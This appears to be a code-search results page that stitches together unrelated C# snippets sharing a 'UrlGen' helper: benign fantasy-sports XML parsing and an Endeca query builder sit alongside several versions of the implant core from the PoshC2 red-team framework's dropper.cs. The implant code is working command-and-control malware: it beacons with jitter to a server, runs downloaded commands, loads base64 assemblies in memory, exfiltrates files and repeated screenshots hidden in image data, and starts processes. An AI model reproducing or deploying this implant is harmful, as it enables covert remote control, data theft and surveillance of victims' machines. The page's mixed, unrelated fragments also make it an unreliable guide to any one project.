예제 #1
0
파일: dropper.cs 프로젝트: nettitude/PoshC2
    public static void Exec(string cmd, string taskId, string key = null, byte[] encByte = null)
    {
        if (string.IsNullOrEmpty(key))
        {
            key = pKey;
        }
        var eTaskId  = Encryption(key, taskId);
        var dcoutput = "";

        if (encByte != null)
        {
            dcoutput = Encryption(key, null, true, encByte);
        }
        else
        {
            dcoutput = Encryption(key, cmd, true);
        }
        var doutputBytes = System.Convert.FromBase64String(dcoutput);
        var dsendBytes   = ImgGen.GetImgData(doutputBytes);

        var attempts = 0;

        while (attempts < 5)
        {
            attempts += 1;
            try
            {
                GetWebRequest(eTaskId).UploadData(UrlGen.GenerateUrl(), dsendBytes);
                attempts = 5;
            } catch {}
        }
    }
예제 #2
0
        public static async Task <List <Player> > GetAllPlayers(string leagueId)
        {
            List <Player> players = new List <Player>();
            int           start   = 1;

            while (true)
            {
                string playerXml = await Services.Http.GetRawDataAsync(UrlGen.PaginatedPlayers(leagueId, start));

                XmlDocument doc = new XmlDocument();
                doc.LoadXml(playerXml);
                NSMgr nsmgr = new NSMgr(doc);

                XmlNodeList playerRoots = doc.SelectNodes("//" + NSMgr.GetNodeName("player"), nsmgr);
                if (playerRoots.Count == 0)
                {
                    break;
                }

                start += playerRoots.Count;
                foreach (XmlNode playerRoot in playerRoots)
                {
                    players.Add(Player.Create(playerRoot, nsmgr));
                }
            }

            return(players);
        }
        /// <summary>
        /// Creates an Endeca query given the supplied parameters and values.
        /// </summary>
        /// <param name="dimensionIds">List of dimension IDs for the N parameter</param>
        /// <param name="urlParams">List of other URL parameters</param>
        /// <param name="pageOffset">Current page offset (zero-based)</param>
        /// <param name="itemsPerPage">Number of items per page</param>
        /// <param name="allRefinements">Return refinements with query</param>
        /// <param name="isFrench">French language flag</param>
        /// <param name="specifyLanguage">Indicates whether we wish to specify language in the query or not</param>
        /// <returns></returns>
        public static ENEQuery CreateEndecaQuery(List <string> dimensionIds, List <KeyValuePair <string, string> > urlParams,
                                                 long?pageOffset, long?itemsPerPage, bool allRefinements = false,
                                                 bool isFrench = false, bool specifyLanguage = false)
        {
            var queryString = new UrlGen(string.Empty, Encoding.UTF8.WebName);

            // Append dimension IDs supplied to the N parameter
            var dimValsStr = dimensionIds == null ? "0" : string.Join(" ", dimensionIds);

            if (specifyLanguage)
            {
                dimValsStr += " " + (isFrench ? EndecaEnglishLanguageFilterId : EndecaFrenchLanguageFilterId);
            }
            queryString.AppendParam("N", dimValsStr);
            if (urlParams != null)
            {
                foreach (var param in urlParams)
                {
                    queryString.AppendParam(param.Key, param.Value);
                }
            }

            ENEQuery query = new UrlENEQuery(queryString.ToString(), Encoding.UTF8.WebName);

            itemsPerPage = itemsPerPage ?? 1;

            query.NavERecsOffset        = pageOffset == null ? 0 : (long)pageOffset; // Start item (zero based)
            query.NavNumERecs           = (long)itemsPerPage;                        // Number of items per page
            query.NavAllRefinements     = allRefinements;                            // Supress the refinements (faster)
            query.NavExposedRefinements = new DimValIdList(EndecaCategoryId);

            return(query);
        }
예제 #4
0
        public static async Task <YahooLeague> Create(string leagueId)
        {
            string leagueXml = await Services.Http.GetRawDataAsync(UrlGen.LeagueSettingsUrl(leagueId));

            XmlDocument doc = new XmlDocument();

            doc.LoadXml(leagueXml);
            NSMgr   nsmgr  = new NSMgr(doc);
            XmlNode league = doc.SelectSingleNode(nsmgr.GetXPath("fantasy_content", "league"), nsmgr);

            string name = nsmgr.GetValue(league, "name");

            List <Constants.StatID> scoringStats = new List <Constants.StatID>();

            foreach (XmlNode node in league.SelectNodes(nsmgr.GetXPath("settings", "stat_categories", "stats", "stat"), nsmgr))
            {
                string displayOnly = nsmgr.GetValue(node, "is_only_display_stat"); // !1 -> counts for points
                if (displayOnly != "1")
                {
                    string idString = nsmgr.GetValue(node, "stat_id");
                    int    id       = int.Parse(idString);
                    scoringStats.Add(YConstants.Stats.ScoringStatIdFromYahooStatId(id));
                }
            }

            Dictionary <Position, int> positionCounts = new Dictionary <Position, int>();

            foreach (XmlNode node in league.SelectNodes(nsmgr.GetXPath("settings", "roster_positions", "roster_position"), nsmgr))
            {
                string position    = nsmgr.GetValue(node, "position");
                string countString = nsmgr.GetValue(node, "count");
                int    count       = int.Parse(countString);
                positionCounts[YConstants.Positions.PositionFromYahooPosition(position)] = count;
            }

            //List<YahooPlayerData> allPlayers = await YahooPlayerData.GetAllPlayers(leagueId);

            string leagueTeams = await Services.Http.GetRawDataAsync(UrlGen.TeamsWithRostersUrl(leagueId));

            doc.LoadXml(leagueTeams);
            nsmgr  = new NSMgr(doc);
            league = doc.SelectSingleNode(nsmgr.GetXPath("fantasy_content", "league"), nsmgr);

            List <Team> teams = new List <Team>();

            foreach (XmlNode team in league.SelectNodes(nsmgr.GetXPath("teams", "team"), nsmgr))
            {
            }

            return(null);
        }
예제 #5
0
    static void ImplantCore(string baseURL, string RandomURI, string stringURLS, string KillDate, string Sleep, string Key, string stringIMGS)
    {
        UrlGen.Init(stringURLS, RandomURI, baseURL);
        ImgGen.Init(stringIMGS);
        int beacontime = 5;

        if (!Int32.TryParse(Sleep, out beacontime))
        {
            beacontime = 5;
        }

        var strOutput = new StringWriter();

        Console.SetOut(strOutput);
        var exitvt = new ManualResetEvent(false);
        var output = new StringBuilder();

        while (!exitvt.WaitOne((int)(beacontime * 1000 * (((new Random()).Next(0, 2) > 0) ? 1.05 : 0.95))))
        {
            if (Convert.ToDateTime(KillDate) < DateTime.Now)
            {
                exitvt.Set();
                continue;
            }
            output.Length = 0;
            try
            {
                String x = "", tasksrc = "", cmd = null;
                try
                {
                    cmd = GetWebRequest(null).DownloadString(UrlGen.GenerateUrl());
                    x   = Decryption(Key, cmd).Replace("\0", string.Empty);
                }
                catch
                {
                    continue;
                }                 //CAN YOU CONTINUE FROM THIS POINT?

                if (x.ToLower().StartsWith("multicmd"))
                {
                    var splitcmd = x.Replace("multicmd", "");
                    var split    = splitcmd.Split(new string[] { "!d-3dion@LD!-d" }, StringSplitOptions.RemoveEmptyEntries);
                    foreach (string c in split)
                    {
                        tasksrc = c;
                        if (c.ToLower().StartsWith("exit"))
                        {
                            exitvt.Set();
                            break;
                        }
                        else if (c.ToLower().StartsWith("loadmodule"))
                        {
                            var module   = Regex.Replace(c, "loadmodule", "", RegexOptions.IgnoreCase);
                            var assembly = System.Reflection.Assembly.Load(System.Convert.FromBase64String(module));
                            output.AppendLine("Module loaded sucessfully");
                            tasksrc = "Module loaded sucessfully";
                        }
                        else if (c.ToLower().StartsWith("upload-file"))
                        {
                            var path      = Regex.Replace(c, "upload-file", "", RegexOptions.IgnoreCase);
                            var splitargs = path.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries);
                            Console.WriteLine("Uploaded file to: " + splitargs[1]);
                            var fileBytes = Convert.FromBase64String(splitargs[0]);
                            System.IO.File.WriteAllBytes(splitargs[1].Replace("\"", ""), fileBytes);
                            tasksrc = "Uploaded file sucessfully";
                        }
                        else if (c.ToLower().StartsWith("download-file"))
                        {
                            var path      = Regex.Replace(c, "download-file ", "", RegexOptions.IgnoreCase);
                            var file      = File.ReadAllBytes(path.Replace("\"", ""));
                            var fileChuck = Combine(Encoding.ASCII.GetBytes("0000100001"), file);

                            var dtask        = Encryption(Key, c);
                            var dcoutput     = Encryption(Key, "", true, fileChuck);
                            var doutputBytes = System.Convert.FromBase64String(dcoutput);
                            var dsendBytes   = ImgGen.GetImgData(doutputBytes);
                            GetWebRequest(dtask).UploadData(UrlGen.GenerateUrl(), dsendBytes);
                        }
                        else if (c.ToLower().StartsWith("get-screenshotmulti"))
                        {
                            bool sShot      = true;
                            int  sShotCount = 1;
                            while (sShot)
                            {
                                var sHot         = RunAssembly("run-exe Core.Program Core get-screenshot");
                                var dtask        = Encryption(Key, c);
                                var dcoutput     = Encryption(Key, strOutput.ToString(), true);
                                var doutputBytes = System.Convert.FromBase64String(dcoutput);
                                var dsendBytes   = ImgGen.GetImgData(doutputBytes);
                                GetWebRequest(dtask).UploadData(UrlGen.GenerateUrl(), dsendBytes);
                                Thread.Sleep(240000);
                                sShotCount++;
                                if (sShotCount > 100)
                                {
                                    sShot   = false;
                                    tasksrc = "Finished Multi";
                                    var sbc = strOutput.GetStringBuilder();
                                    sbc.Remove(0, sbc.Length);
                                    output.Append("[+] Multi Screenshot Ran Sucessfully");
                                }
                            }
                        }
                        else if (c.ToLower().StartsWith("listmodules"))
                        {
                            var appd = AppDomain.CurrentDomain.GetAssemblies();
                            output.AppendLine("[+] Modules loaded:").AppendLine("");
                            foreach (var ass in appd)
                            {
                                output.AppendLine(ass.FullName.ToString());
                            }
                        }
                        else if (c.ToLower().StartsWith("run-dll") || c.ToLower().StartsWith("run-exe"))
                        {
                            output.AppendLine(RunAssembly(c));
                        }
                        else if (c.ToLower().StartsWith("start-process"))
                        {
                            var proc   = c.Replace("'", "").Replace("\"", "");
                            var pstart = Regex.Replace(proc, "start-process ", "", RegexOptions.IgnoreCase);
                            pstart = Regex.Replace(pstart, "-argumentlist(.*)", "", RegexOptions.IgnoreCase);
                            var args = Regex.Replace(proc, "(.*)argumentlist ", "", RegexOptions.IgnoreCase);
                            var p    = new Process();
                            p.StartInfo.UseShellExecute        = false;
                            p.StartInfo.RedirectStandardOutput = p.StartInfo.RedirectStandardError = p.StartInfo.CreateNoWindow = true;
                            p.StartInfo.FileName  = pstart;
                            p.StartInfo.Arguments = args;
                            p.Start();
                            output.AppendLine(p.StandardOutput.ReadToEnd()).AppendLine(p.StandardError.ReadToEnd());
                            p.WaitForExit();
                        }
                        else if (c.ToLower().StartsWith("setbeacon") || c.ToLower().StartsWith("beacon"))
                        {
                            var bcnRgx = new Regex(@"(?<=(setbeacon|beacon)\s{1,})(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.Compiled | RegexOptions.IgnoreCase);
                            var mch    = bcnRgx.Match(c);
                            if (mch.Success)
                            {
                                beacontime = Int32.Parse(mch.Groups["t"].Value);
                                switch (mch.Groups["u"].Value)
                                {
                                case "h":
                                    beacontime *= 3600;
                                    break;

                                case "m":
                                    beacontime *= 60;
                                    break;
                                }
                            }
                            else
                            {
                                output.AppendLine($@"[X] Invalid time ""{c}""");
                            }
                        }

                        output.AppendLine(strOutput.ToString());
                        var sb = strOutput.GetStringBuilder();
                        sb.Remove(0, sb.Length);
                        if (tasksrc.Length > 200)
                        {
                            tasksrc = tasksrc.Substring(0, 199);
                        }
                        var task        = Encryption(Key, tasksrc);
                        var coutput     = Encryption(Key, output.ToString(), true);
                        var outputBytes = System.Convert.FromBase64String(coutput);
                        var sendBytes   = ImgGen.GetImgData(outputBytes);
                        GetWebRequest(task).UploadData(UrlGen.GenerateUrl(), sendBytes);
                    }
                }
            }
            catch (Exception e)
            {
                var task        = Encryption(Key, "Error");
                var eroutput    = Encryption(Key, $"Error: {output.ToString()} {e}", true);
                var outputBytes = System.Convert.FromBase64String(eroutput);
                var sendBytes   = ImgGen.GetImgData(outputBytes);
                GetWebRequest(task).UploadData(UrlGen.GenerateUrl(), sendBytes);
            }
        }
    }
예제 #6
0
    static void ImplantCore(string baseURL, string RandomURI, string stringURLS, string KillDate, string Sleep, string Key, string stringIMGS, string Jitter)
    {
        UrlGen.Init(stringURLS, RandomURI, baseURL);
        ImgGen.Init(stringIMGS);
        int beacontime = 5;
        var ibcnRgx    = new Regex(@"(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.Compiled | RegexOptions.IgnoreCase);
        var imch       = ibcnRgx.Match(Sleep);

        if (imch.Success)
        {
            beacontime = Parse_Beacon_Time(imch.Groups["t"].Value, imch.Groups["u"].Value);
        }
        var strOutput = new StringWriter();

        Console.SetOut(strOutput);
        var    exitvt  = new ManualResetEvent(false);
        var    output  = new StringBuilder();
        double dJitter = 0;

        if (!Double.TryParse(Jitter, NumberStyles.Any, CultureInfo.InvariantCulture, out dJitter))
        {
            dJitter = 0.2;
        }
        while (!exitvt.WaitOne((int)(new Random().Next((int)(beacontime * 1000 * (1F - dJitter)), (int)(beacontime * 1000 * (1F + dJitter))))))
        {
            if (Convert.ToDateTime(KillDate) < DateTime.Now)
            {
                exitvt.Set();
                continue;
            }
            output.Length = 0;
            try
            {
                String x = "", cmd = null;
                try
                {
                    cmd = GetWebRequest(null).DownloadString(UrlGen.GenerateUrl());
                    x   = Decryption(Key, cmd).Replace("\0", string.Empty);
                }
                catch
                {
                    continue;
                }
                if (x.ToLower().StartsWith("multicmd"))
                {
                    var splitcmd = x.Replace("multicmd", "");
                    var split    = splitcmd.Split(new string[] { "!d-3dion@LD!-d" }, StringSplitOptions.RemoveEmptyEntries);
                    foreach (string c in split)
                    {
                        var taskId = c.Substring(0, 5);
                        cmd = c.Substring(5, c.Length - 5);
                        if (cmd.ToLower().StartsWith("exit"))
                        {
                            exitvt.Set();
                            break;
                        }
                        else if (cmd.ToLower().StartsWith("loadmodule"))
                        {
                            var module   = Regex.Replace(cmd, "loadmodule", "", RegexOptions.IgnoreCase);
                            var assembly = System.Reflection.Assembly.Load(System.Convert.FromBase64String(module));
                        }
                        else if (cmd.ToLower().StartsWith("upload-file"))
                        {
                            var path      = Regex.Replace(cmd, "upload-file", "", RegexOptions.IgnoreCase);
                            var splitargs = path.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries);
                            Console.WriteLine("Uploaded file to: " + splitargs[1]);
                            var fileBytes = Convert.FromBase64String(splitargs[0]);
                            System.IO.File.WriteAllBytes(splitargs[1].Replace("\"", ""), fileBytes);
                        }
                        else if (cmd.ToLower().StartsWith("download-file"))
                        {
                            var path      = Regex.Replace(cmd, "download-file ", "", RegexOptions.IgnoreCase);
                            var file      = File.ReadAllBytes(path.Replace("\"", ""));
                            var fileChuck = Combine(Encoding.ASCII.GetBytes("0000100001"), file);

                            var eTaskId      = Encryption(Key, taskId);
                            var dcoutput     = Encryption(Key, "", true, fileChuck);
                            var doutputBytes = System.Convert.FromBase64String(dcoutput);
                            var dsendBytes   = ImgGen.GetImgData(doutputBytes);
                            GetWebRequest(eTaskId).UploadData(UrlGen.GenerateUrl(), dsendBytes);
                            continue;
                        }
                        else if (cmd.ToLower().StartsWith("get-screenshotmulti"))
                        {
                            bool sShot      = true;
                            int  sShotCount = 1;
                            while (sShot)
                            {
                                var sHot         = rAsm("run-exe Core.Program Core get-screenshot");
                                var eTaskId      = Encryption(Key, taskId);
                                var dcoutput     = Encryption(Key, strOutput.ToString(), true);
                                var doutputBytes = System.Convert.FromBase64String(dcoutput);
                                var dsendBytes   = ImgGen.GetImgData(doutputBytes);
                                GetWebRequest(eTaskId).UploadData(UrlGen.GenerateUrl(), dsendBytes);
                                Thread.Sleep(240000);
                                sShotCount++;
                                if (sShotCount > 100)
                                {
                                    sShot = false;
                                    var sbc = strOutput.GetStringBuilder();
                                    sbc.Remove(0, sbc.Length);
                                    output.Append("[+] Multi Screenshot Ran Sucessfully");
                                }
                            }
                            continue;
                        }
                        else if (cmd.ToLower().StartsWith("get-screenshot"))
                        {
                            var sHot         = rAsm("run-exe Core.Program Core get-screenshot");
                            var eTaskId      = Encryption(Key, taskId);
                            var dcoutput     = Encryption(Key, strOutput.ToString(), true);
                            var doutputBytes = System.Convert.FromBase64String(dcoutput);
                            var dsendBytes   = ImgGen.GetImgData(doutputBytes);
                            GetWebRequest(eTaskId).UploadData(UrlGen.GenerateUrl(), dsendBytes);
                            var sbc = strOutput.GetStringBuilder();
                            sbc.Remove(0, sbc.Length);
                            continue;
                        }
                        else if (cmd.ToLower().StartsWith("listmodules"))
                        {
                            var appd = AppDomain.CurrentDomain.GetAssemblies();
                            output.AppendLine("[+] Modules loaded:").AppendLine("");
                            foreach (var ass in appd)
                            {
                                output.AppendLine(ass.FullName.ToString());
                            }
                        }
                        else if (cmd.ToLower().StartsWith("run-dll") || cmd.ToLower().StartsWith("run-exe"))
                        {
                            output.AppendLine(rAsm(cmd));
                        }
                        else if (cmd.ToLower().StartsWith("setbeacon") || cmd.ToLower().StartsWith("beacon"))
                        {
                            var bcnRgx = new Regex(@"(?<=(setbeacon|beacon)\s{1,})(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.Compiled | RegexOptions.IgnoreCase);
                            var mch    = bcnRgx.Match(c);
                            if (mch.Success)
                            {
                                beacontime = Parse_Beacon_Time(mch.Groups["t"].Value, mch.Groups["u"].Value);
                            }
                            else
                            {
                                output.AppendLine(String.Format(@"[X] Invalid time ""{0}""", c));
                            }
                        }

                        output.AppendLine(strOutput.ToString());
                        var sb = strOutput.GetStringBuilder();
                        sb.Remove(0, sb.Length);
                        var enTaskId    = Encryption(Key, taskId);
                        var coutput     = Encryption(Key, output.ToString(), true);
                        var outputBytes = System.Convert.FromBase64String(coutput);
                        var sendBytes   = ImgGen.GetImgData(outputBytes);
                        GetWebRequest(enTaskId).UploadData(UrlGen.GenerateUrl(), sendBytes);
                    }
                }
            }
            catch (Exception e)
            {
                var task        = Encryption(Key, "Error");
                var eroutput    = Encryption(Key, String.Format("Error: {0} {1}", output.ToString(), e), true);
                var outputBytes = System.Convert.FromBase64String(eroutput);
                var sendBytes   = ImgGen.GetImgData(outputBytes);
                GetWebRequest(task).UploadData(UrlGen.GenerateUrl(), sendBytes);
            }
        }
    }
예제 #7
0
파일: dropper.cs 프로젝트: nettitude/PoshC2
    static void ImplantCore(string baseURL, string RandomURI, string stringURLS, string KillDate, string Sleep, string Key, string stringIMGS, string Jitter)
    {
        UrlGen.Init(stringURLS, RandomURI, baseURL);
        ImgGen.Init(stringIMGS);
        pKey = Key;
        int beacontime = 5;
        var ibcnRgx    = new Regex(@"(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.Compiled | RegexOptions.IgnoreCase);
        var imch       = ibcnRgx.Match(Sleep);

        if (imch.Success)
        {
            beacontime = Parse_Beacon_Time(imch.Groups["t"].Value, imch.Groups["u"].Value);
        }
        var strOutput = new StringWriter();

        Console.SetOut(strOutput);
        var    exitvt  = new ManualResetEvent(false);
        var    output  = new StringBuilder();
        double dJitter = 0;

        if (!Double.TryParse(Jitter, NumberStyles.Any, CultureInfo.InvariantCulture, out dJitter))
        {
            dJitter = 0.2;
        }
        while (!exitvt.WaitOne((int)(new Random().Next((int)(beacontime * 1000 * (1F - dJitter)), (int)(beacontime * 1000 * (1F + dJitter))))))
        {
            if (DateTime.ParseExact(KillDate, "yyyy-MM-dd", CultureInfo.InvariantCulture) < DateTime.Now)
            {
                Run = false;
                exitvt.Set();
                continue;
            }
            output.Length = 0;
            try
            {
                String x = "", cmd = null;
                try
                {
                    cmd = GetWebRequest(null).DownloadString(UrlGen.GenerateUrl());
                    x   = Decryption(Key, cmd).Replace("\0", string.Empty);
                }
                catch
                {
                    continue;
                }
                if (x.ToLower().StartsWith("multicmd"))
                {
                    var splitcmd = x.Replace("multicmd", "");
                    var split    = splitcmd.Split(new string[] { "!d-3dion@LD!-d" }, StringSplitOptions.RemoveEmptyEntries);
                    foreach (string c in split)
                    {
                        Program.taskId = c.Substring(0, 5);
                        cmd            = c.Substring(5, c.Length - 5);
                        if (cmd.ToLower().StartsWith("exit"))
                        {
                            Run = false;
                            exitvt.Set();
                            break;
                        }
                        else if (cmd.ToLower().StartsWith("loadmodule"))
                        {
                            var module   = Regex.Replace(cmd, "loadmodule", "", RegexOptions.IgnoreCase);
                            var assembly = System.Reflection.Assembly.Load(System.Convert.FromBase64String(module));
                            Exec(output.ToString(), taskId, Key);
                        }
                        else if (cmd.ToLower().StartsWith("run-dll-background") || cmd.ToLower().StartsWith("run-exe-background"))
                        {
                            Thread t = new Thread(() => rAsm(cmd));
                            Exec("[+] Running background task", taskId, Key);
                            t.Start();
                        }
                        else if (cmd.ToLower().StartsWith("run-dll") || cmd.ToLower().StartsWith("run-exe"))
                        {
                            output.AppendLine(rAsm(cmd));
                        }
                        else if (cmd.ToLower().StartsWith("beacon"))
                        {
                            var bcnRgx = new Regex(@"(?<=(beacon)\s{1,})(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.Compiled | RegexOptions.IgnoreCase);
                            var mch    = bcnRgx.Match(c);
                            if (mch.Success)
                            {
                                beacontime = Parse_Beacon_Time(mch.Groups["t"].Value, mch.Groups["u"].Value);
                            }
                            else
                            {
                                output.AppendLine(String.Format(@"[X] Invalid time ""{0}""", c));
                            }
                            Exec("Beacon set", taskId, Key);
                        }
                        else
                        {
                            var sHot = rAsm($"run-exe Core.Program Core {cmd}");
                        }
                        output.AppendLine(strOutput.ToString());
                        var sb = strOutput.GetStringBuilder();
                        sb.Remove(0, sb.Length);
                        if (output.Length > 2)
                        {
                            Exec(output.ToString(), taskId, Key);
                        }
                        output.Length = 0;
                    }
                }
            }
            catch (NullReferenceException e) {}
            catch (WebException e) {}
            catch (Exception e)
            {
                Exec(String.Format("Error: {0} {1}", output.ToString(), e), "Error", Key);
            }
            finally
            {
                output.AppendLine(strOutput.ToString());
                var sc = strOutput.GetStringBuilder();
                sc.Remove(0, sc.Length);
                if (output.Length > 2)
                {
                    Exec(output.ToString(), "99999", Key);
                }
                output.Length = 0;
            }
        }
    }
예제 #8
0
        static async Task GetLeagueStats()
        {
            string stats = await Http.GetRawDataAsync(UrlGen.LeagueSettingsUrl(YConstants.Leagues.Rounders2019));

            Console.WriteLine(stats);
        }
예제 #9
0
        public static async Task <League> Create(string leagueId)
        {
            string leagueXml = await Services.Http.GetRawDataAsync(UrlGen.LeagueSettingsUrl(leagueId));

            XmlDocument doc = new XmlDocument();

            doc.LoadXml(leagueXml);
            NSMgr   nsmgr  = new NSMgr(doc);
            XmlNode league = doc.SelectSingleNode(nsmgr.GetXPath("fantasy_content", "league"), nsmgr);

            string key  = nsmgr.GetValue(league, "league_key");
            string name = nsmgr.GetValue(league, "name");
            Dictionary <int, StatDefinition> stats = new Dictionary <int, StatDefinition>();

            foreach (XmlNode node in league.SelectNodes(nsmgr.GetXPath("settings", "stat_categories", "stats", "stat"), nsmgr))
            {
                StatDefinition stat = StatDefinition.Create(node, nsmgr);
                stats[stat.Id] = stat;
            }

            List <RosterPosition> rosterPositions = new List <RosterPosition>();

            foreach (XmlNode node in league.SelectNodes(nsmgr.GetXPath("settings", "roster_positions", "roster_position"), nsmgr))
            {
                rosterPositions.Add(RosterPosition.Create(node, nsmgr));
            }

            string leagueTeams = await Services.Http.GetRawDataAsync(UrlGen.TeamsWithRostersUrl(leagueId));

            doc.LoadXml(leagueTeams);
            nsmgr  = new NSMgr(doc);
            league = doc.SelectSingleNode(nsmgr.GetXPath("fantasy_content", "league"), nsmgr);

            List <Team> teams = new List <Team>();

            foreach (XmlNode team in league.SelectNodes(nsmgr.GetXPath("teams", "team"), nsmgr))
            {
                teams.Add(Team.Create(team, nsmgr));
            }

            Dictionary <string, Player> players = new Dictionary <string, Player>();

            foreach (Player player in await Player.GetAllPlayers(leagueId))
            {
                player.SetStatValues(stats);
                players[player.Key] = player;
            }

            string leagueStandings = await Services.Http.GetRawDataAsync(UrlGen.LeagueStandings(leagueId));

            doc.LoadXml(leagueStandings);
            nsmgr  = new NSMgr(doc);
            league = doc.SelectSingleNode(nsmgr.GetXPath("fantasy_content", "league"), nsmgr);

            List <Standings> standings = new List <Standings>();

            foreach (XmlNode node in league.SelectNodes(nsmgr.GetXPath("standings", "teams", "team"), nsmgr))
            {
                standings.Add(Standings.Create(node, nsmgr));
            }

            return(new League(key, name, stats, rosterPositions, teams, players, standings));
        }